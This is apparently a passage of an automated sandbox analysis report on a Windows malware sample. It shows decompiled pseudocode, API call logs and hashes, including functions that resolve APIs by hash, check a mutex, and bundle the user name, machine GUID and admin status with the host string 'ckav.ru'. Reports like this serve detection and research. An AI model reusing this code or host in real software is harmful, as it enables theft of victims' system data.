					if(_t28 != 0) {
						 *_t28 = _t44;
					}
					E004031E5(_t35, _t46, 0xd4ead4e2, _t46, _t46);
					_t30 = VirtualAlloc(_t46, _t44, 0x1000, 4); // executed
					_t35 = _t30;
					if(_t35 == 0) {
						goto L8;
					} else {
						E004031E5(_t35, _t46, 0xcd0c9940, _t46, _t46);
						_t45 = _v8;
						_t32 = ReadFile(_v8, _t35, _t44,  &_v16, _t46); // executed
						if(_t32 == 0) {
							_t33 = E004031E5(_t35, _t46, 0xf53ecacb, _t46, _t46);
							 *_t33(_t35, _t46, 0x8000);
							_t35 = _t46;
						}
						L9:
						E00403C40(_t45); // executed
						goto L10;
					}
				}
			}

0x004040c4
0x004040ce
0x004040d0
0x004040e8
0x004040ea
0x004040ec
0x004040f2
0x0040418d
0x00404190
0x00404184
0x00000000
0x00404184
0x004041a0
0x004041a5
0x004041a7
0x00000000
0x00000000
0x004041a9
0x004041b6
0x004041b8
0x004041be
0x004041cb
0x004041d0
0x004041d1
0x004041d3
0x004041d8
0x004041dc
0x00000000
0x004041e2
0x00404100
0x0040410c
0x00404111
0x0040417a
0x0040417a
0x00000000
0x0040411b
0x0040411b
0x00404120
0x00404122
0x00404122
0x0040412c
0x0040413a
0x0040413c
0x00404140
0x00000000
0x00404142
0x0040414a
0x00404155
0x0040415a
0x0040415e
0x00404168
0x00404174
0x00404176
0x00404176
0x0040417d
0x0040417e
0x00000000
0x00404183
0x00404140

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Uniqueness

Uniqueness Score: -1.00%

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413866(void* __eflags) {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				char _v24;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				char _v76;
				void* __ebx;
				void* __edi;
				void* _t38;
				short _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				short _t48;
				short _t50;
				short _t51;
				short _t52;
				short _t54;
				short _t55;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t63;
				WCHAR* _t65;
				long _t68;
				void* _t75;
				short _t76;
				short _t78;
				short _t83;
				short _t84;
				short _t85;

				E00402C6C(_t38);
				E004031E5(_t75, 0, 0xd1e96fcd, 0, 0);
				SetErrorMode(3); // executed
				_t43 = 0x4f;
				_v76 = _t43;
				_t44 = 0x4c;
				_v74 = _t44;
				_t45 = 0x45;
				_v72 = _t45;
				_t46 = 0x41;
				_v70 = _t46;
				_t47 = 0x55;
				_v68 = _t47;
				_t48 = 0x54;
				_t76 = 0x33;
				_t84 = 0x32;
				_t83 = 0x2e;
				_t78 = 0x64;
				_t85 = 0x6c;
				_v66 = _t48;
				_v52 = 0;
				_t50 = 0x77;
				_v48 = _t50;
				_t51 = 0x73;
				_v46 = _t51;
				_t52 = 0x5f;
				_v42 = _t52;
				_v28 = 0;
				_t54 = 0x6f;
				_v24 = _t54;
				_t55 = 0x65;
				_v20 = _t55;
				_v64 = _t76;
				_v62 = _t84;
				_v60 = _t83;
				_v58 = _t78;
				_v56 = _t85;
				_v54 = _t85;
				_v44 = _t84;
				_v40 = _t76;
				_v38 = _t84;
				_v36 = _t83;
				_v34 = _t78;
				_v32 = _t85;
				_v30 = _t85;
				_v22 = _t85;
				_v18 = _t76;
				_v16 = _t84;
				_v14 = _t83;
				_v12 = _t78;
				_v10 = _t85;
				_v8 = _t85;
				_v6 = 0;
				_t57 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t57( &_v76);
				_t59 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t59( &_v48);
				_t61 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				_t81 =  &_v24;
				 *_t61( &_v24); // executed
				_t63 = E00414059(); // executed
				if(_t63 != 0) {
					_t65 = E00413D97(0);
					E004031E5(0, 0, 0xcf167df4, 0, 0);
					CreateMutexW(0, 1, _t65); // executed
					_t68 = GetLastError();
					_t92 = _t68 - 0xb7;
					if(_t68 == 0xb7) {
						E00413B81(0);
						_pop(_t81); // executed
					}
					E00413003(_t92); // executed
					E00412B2E(_t92); // executed
					E00412D31(_t81, _t84); // executed
					E00413B3F();
					E00413B81(0);
					 *0x49fdd0 = 1;
				}
				return 0;
			}

0x0041386f
0x0041387e
0x00413885
0x00413889
0x0041388c
0x00413890
0x00413893
0x00413897
0x0041389a
0x0041389e
0x004138a1
0x004138a5
0x004138a8
0x004138ac
0x004138af
0x004138b2
0x004138b5
0x004138b8
0x004138bb
0x004138bc
0x004138c4
0x004138c8
0x004138cb
0x004138cf
0x004138d2
0x004138d6
0x004138d7
0x004138df
0x004138e3
0x004138e4
0x004138ea
0x004138eb
0x004138f1
0x004138f5
0x004138f9
0x004138fd
0x00413901
0x00413905
0x00413909
0x0041390d
0x00413911
0x00413915
0x00413919
0x0041391d
0x00413921
0x00413925
0x00413929
0x0041392d
0x00413931
0x00413935
0x00413939
0x0041393d
0x00413941
0x00413950
0x00413959
0x0041395f
0x00413968
0x0041396e
0x00413973
0x00413977
0x00413979
0x00413980
0x00413982
0x00413991
0x0041399c
0x0041399e
0x004139a4
0x004139a9
0x004139ac
0x004139b1
0x004139b1
0x004139b2
0x004139b7
0x004139bc
0x004139c1
0x004139c7
0x004139cd
0x004139cd
0x004139db

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Uniqueness

Uniqueness Score: -1.00%

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CF(void* __ebx, void* __eflags, WCHAR* _a4, void* _a8, long _a12) {
				long _v8;
				void* _t7;
				long _t10;
				void* _t21;
				struct _OVERLAPPED* _t24;

				_t14 = __ebx;
				_t24 = 0;
				_v8 = 0;
				E004031E5(__ebx, 0, 0xe9fabb88, 0, 0);
				_t7 = CreateFileW(_a4, 0xc0000000, 0, 0, 4, 0x80, 0); // executed
				_t21 = _t7;
				if(_t21 != 0xffffffff) {
					E004031E5(__ebx, 0, 0xeebaae5b, 0, 0);
					_t10 = SetFilePointer(_t21, 0, 0, 2); // executed
					if(_t10 != 0xffffffff) {
						E004031E5(_t14, 0, 0xc148f916, 0, 0);
						WriteFile(_t21, _a8, _a12,  &_v8, 0); // executed
						_t24 =  !=  ? 1 : 0;
					}
					E00403C40(_t21); // executed
				}
				return _t24;
			}

0x004042cf
0x004042d5
0x004042df
0x004042e2
0x004042f9
0x004042fb
0x00404300
0x0040430a
0x00404314
0x00404319
0x00404323
0x00404334
0x0040433b
0x0040433b
0x0040433f
0x00404344
0x0040434c

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Uniqueness

Uniqueness Score: -1.00%

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00412D31(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v40;
				void* __ebx;
				intOrPtr* _t10;
				void* _t11;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t35;
				void* _t53;
				char* _t57;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t53 = __ecx;
				_t10 =  *0x49fde0;
				_t68 = _t67 - 0x24;
				 *0x49fddc = 0x927c0;
				 *0x49fde4 = 0;
				_t75 = _t10;
				if(_t10 != 0) {
					L16:
					_push(1);
					_t11 = E004141A7(_t80,  *_t10,  *((intOrPtr*)(_t10 + 8))); // executed
					_t61 = _t11;
					_t68 = _t68 + 0xc;
					if(_t61 != 0) {
						E004031E5(0, 0, 0xfcae4162, 0, 0);
						CreateThread(0, 0, E0041289A, _t61, 0,  &_v8); // executed
					}
					L004067C4(0xea60); // executed
					_pop(_t53);
				} else {
					_push(__edi);
					 *0x49fde0 = E004056BF(0x2bc);
					E00413DB7(_t53, _t75,  &_v40);
					_t57 =  &_v24;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E004058D4( *0x49fde0, 0x12);
					E004058D4( *0x49fde0, 0x28);
					E00405872( *0x49fde0, "ckav.ru", 0, 0);
					_t69 = _t68 + 0x28;
					_t64 = E0040632F();
					_push(0);
					_push(1);
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						E00405872();
						_t70 = _t69 + 0x10;
					} else {
						_push(_t64);
						_push( *0x49fde0);
						E00405872();
						E00402BAB(_t64);
						_t70 = _t69 + 0x14;
					}
					_t58 = E00406130(_t57);
					_push(0);
					_push(1);
					_t77 = _t64;
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t25 = E00405872();
						_t71 = _t70 + 0x10; // executed
					} else {
						_push(_t58);
						_push( *0x49fde0);
						E00405872();
						_t25 = E00402BAB(_t58);
						_t71 = _t70 + 0x14;
					}
					_t26 = E004061C3(_t25, 0, _t77); // executed
					_t65 = _t26;
					_push(0);
					_push(1);
					if(_t65 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t27 = E00405872();
						_t72 = _t71 + 0x10;
					} else {
						_push(_t65);
						_push( *0x49fde0);
						E00405872();
						_t27 = E00402BAB(_t65);
						_t72 = _t71 + 0x14;
					}
					_t66 = E00406189(_t27);
					_t79 = _t66;
					if(_t66 == 0) {
						E00405781( *0x49fde0, 0);
						E00405781( *0x49fde0, 0);
						_t73 = _t72 + 0x10;
					} else {
						E00405781( *0x49fde0,  *_t66);
						E00405781( *0x49fde0,  *((intOrPtr*)(_t66 + 4)));
						E00402BAB(_t66);
						_t73 = _t72 + 0x14;
					}
					E004058D4( *0x49fde0, E004063B2(0, _t53, _t79));
					E004058D4( *0x49fde0, E004060BD(_t79)); // executed
					_t35 = E0040642C(_t79); // executed
					E004058D4( *0x49fde0, _t35);
					E004058D4( *0x49fde0, _v24);
					E004058D4( *0x49fde0, _v20);
					E004058D4( *0x49fde0, _v16);
					E004058D4( *0x49fde0, _v12);
					E00405872( *0x49fde0, E00413D97(0), 1, 0);
					_t68 = _t73 + 0x48;
				}
				_t80 =  *0x49fde4;
				if( *0x49fde4 == 0) {
					_t10 =  *0x49fde0;
					goto L16;
				}
				return E00405695(_t53,  *0x49fde0);
			}

0x00412d31
0x00412d34
0x00412d39
0x00412d3c
0x00412d49
0x00412d50
0x00412d52
0x00412f24
0x00412f24
0x00412f2b
0x00412f30
0x00412f32
0x00412f37
0x00412f41
0x00412f53
0x00412f53
0x00412f5b
0x00412f60
0x00412d58
0x00412d58
0x00412d63
0x00412d6c
0x00412d73
0x00412d7e
0x00412d7f
0x00412d80
0x00412d81
0x00412d82
0x00412d8f
0x00412da1
0x00412da6
0x00412dae
0x00412db0
0x00412db1
0x00412db5
0x00412dce
0x00412dcf
0x00412dd5
0x00412dda
0x00412db7
0x00412db7
0x00412db8
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dc9
0x00412de2
0x00412de4
0x00412de5
0x00412de7
0x00412de9
0x00412e02
0x00412e03
0x00412e09
0x00412e0e
0x00412deb
0x00412deb
0x00412dec
0x00412df2
0x00412df8
0x00412dfd
0x00412dfd
0x00412e11
0x00412e17
0x00412e19
0x00412e1a
0x00412e1e
0x00412e37
0x00412e38
0x00412e3e
0x00412e43
0x00412e20
0x00412e20
0x00412e21
0x00412e27
0x00412e2d
0x00412e32
0x00412e32
0x00412e4b
0x00412e4d
0x00412e4f
0x00412e7e
0x00412e8a
0x00412e8f
0x00412e51
0x00412e59
0x00412e67
0x00412e6d
0x00412e72
0x00412e72
0x00412e9e
0x00412eaf
0x00412eb4
0x00412ec0
0x00412ece
0x00412edc
0x00412eea
0x00412ef8
0x00412f0f
0x00412f14
0x00412f14
0x00412f17
0x00412f1d
0x00412f1f
0x00000000
0x00412f1f
0x00412f74

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040632F() {
				char _v8;
				void* _t4;
				void* _t7;
				void* _t16;

				_t16 = E00402B7C(0x208);
				if(_t16 == 0) {
					L4:
					_t4 = 0;
				} else {
					E0040338C(_t16, 0, 0x104);
					_t1 =  &_v8; // 0x4143e8
					_v8 = 0x208;
					_t7 = E00406069(_t16, _t1); // executed
					if(_t7 == 0) {
						E00402BAB(_t16);
						goto L4;
					} else {
						_t4 = _t16;
					}
				}
				return _t4;
			}

0x00406340
0x00406345
0x00406373
0x00406373
0x00406347
0x0040634f
0x00406354
0x00406357
0x0040635c
0x00406366
0x0040636d
0x00000000
0x00406368
0x00406368
0x00406368
0x00406366
0x0040637a

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: f2258d9b8330d324457b64b56ec83946477e708dba813dda8b6774b529cb1dca
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: f2258d9b8330d324457b64b56ec83946477e708dba813dda8b6774b529cb1dca
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Uniqueness

Uniqueness Score: -1.00%

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406086(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, void* _a12, long _a16, DWORD* _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 9, 0xecae3497, 0, 0);
				_t7 = GetTokenInformation(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00406094
0x004060a8
0x004060ab

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C03, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C03(struct HINSTANCE__* _a4, char _a8) {
				_Unknown_base(*)()* _t5;
				void* _t6;

				E004031E5(_t6, 0, 0xceb18abc, 0, 0);
				_t1 =  &_a8; // 0x403173
				_t5 = GetProcAddress(_a4,  *_t1); // executed
				return _t5;
			}

0x00402c10
0x00402c15
0x00402c1b
0x00402c1e

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Uniqueness

Uniqueness Score: -1.00%

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404A52(void* _a4, char* _a8, char* _a12) {
				void* _v8;
				int _v12;
				void* __ebx;
				char* _t10;
				long _t13;
				char* _t27;

				_push(_t21);
				_t27 = E00402B7C(0x208);
				if(_t27 == 0) {
					L4:
					_t10 = 0;
				} else {
					E00402B4E(_t27, 0, 0x208);
					_v12 = 0x208;
					E004031E5(0, 9, 0xf4b4acdc, 0, 0);
					_t13 = RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v8); // executed
					if(_t13 != 0) {
						E00402BAB(_t27);
						goto L4;
					} else {
						E004031E5(0, 9, 0xfe9f661a, 0, 0);
						RegQueryValueExA(_v8, _a12, 0, 0, _t27,  &_v12); // executed
						E00404A39(_v8); // executed
						_t10 = _t27;
					}
				}
				return _t10;
			}

0x00404a56
0x00404a65
0x00404a6a
0x00404ad1
0x00404ad1
0x00404a6c
0x00404a71
0x00404a79
0x00404a85
0x00404a9a
0x00404a9e
0x00404acb
0x00000000
0x00404aa0
0x00404aac
0x00404abc
0x00404ac1
0x00404ac6
0x00404ac6
0x00404a9e
0x00404ad9

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNELBASE(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: 8a65b5e102e28de28ef59c05438bd133f995ad554f34eb9b6244912b3c07c856
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: 8a65b5e102e28de28ef59c05438bd133f995ad554f34eb9b6244912b3c07c856
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Uniqueness

Uniqueness Score: -1.00%

Function 00402BAB, Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BAB(void* _a4) {
				void* _t3;
				char _t5;

				if(_a4 != 0) {
					_t5 = RtlFreeHeap(GetProcessHeap(), 0, _a4); // executed
					return _t5;
				}
				return _t3;
			}

0x00402bb2
0x00402bc0
0x00000000
0x00402bc0
0x00402bc7

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction ID: 8dd5a347e09044be93d5ac0bfd75615970d35e99714971ab129ae27a0189db5c
Opcode Fuzzy Hash: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction Fuzzy Hash: 7FC01235000A08EBCB001FD0E90CBE93F6CAB8838AF808020B60C480A0C6B49090CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004060BD(void* __eflags) {
				signed int _v8;
				char _v12;
				short _v16;
				char _v20;
				void* __ebx;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t14;
				signed int _t15;
				void* _t24;

				_v16 = 0x500;
				_v20 = 0;
				_t12 = E004031E5(0, 9, 0xf3a0c470, 0, 0);
				_t13 =  *_t12( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t13;
				if(_t13 != 0) {
					_t14 = E004031E5(0, 9, 0xe3b938df, 0, 0);
					_t15 =  *_t14(0, _v12,  &_v8, _t24); // executed
					asm("sbb eax, eax");
					_v8 = _v8 &  ~_t15;
					E0040604F(_v12);
					return _v8;
				}
				return _t13;
			}

0x004060c6
0x004060d5
0x004060d8
0x004060f4
0x004060f6
0x004060fb
0x0040610a
0x00406115
0x0040611c
0x0040611e
0x00406121
0x00000000
0x0040612a
0x0040612f

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Uniqueness

Uniqueness Score: -1.00%

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C62(void* __ebx, void* __eflags, WCHAR* _a4) {
				void* _t3;
				int _t5;

				_t3 = E00403D4D(__eflags, _a4); // executed
				if(_t3 == 0) {
					__eflags = 0;
					E004031E5(__ebx, 0, 0xc8f0a74d, 0, 0);
					_t5 = CreateDirectoryW(_a4, 0); // executed
					return _t5;
				} else {
					return 1;
				}
			}

0x00403c68
0x00403c70
0x00403c78
0x00403c82
0x00403c8b
0x00403c8f
0x00403c72
0x00403c76
0x00403c76

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040642C(void* __eflags) {
				short _v40;
				intOrPtr* _t6;
				void* _t10;

				_t6 = E004031E5(_t10, 0, 0xe9af4586, 0, 0);
				 *_t6( &_v40); // executed
				return 0 | _v40 == 0x00000009;
			}

0x0040643c
0x00406445
0x00406454

APIs

GetNativeSystemInfo.KERNELBASE(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
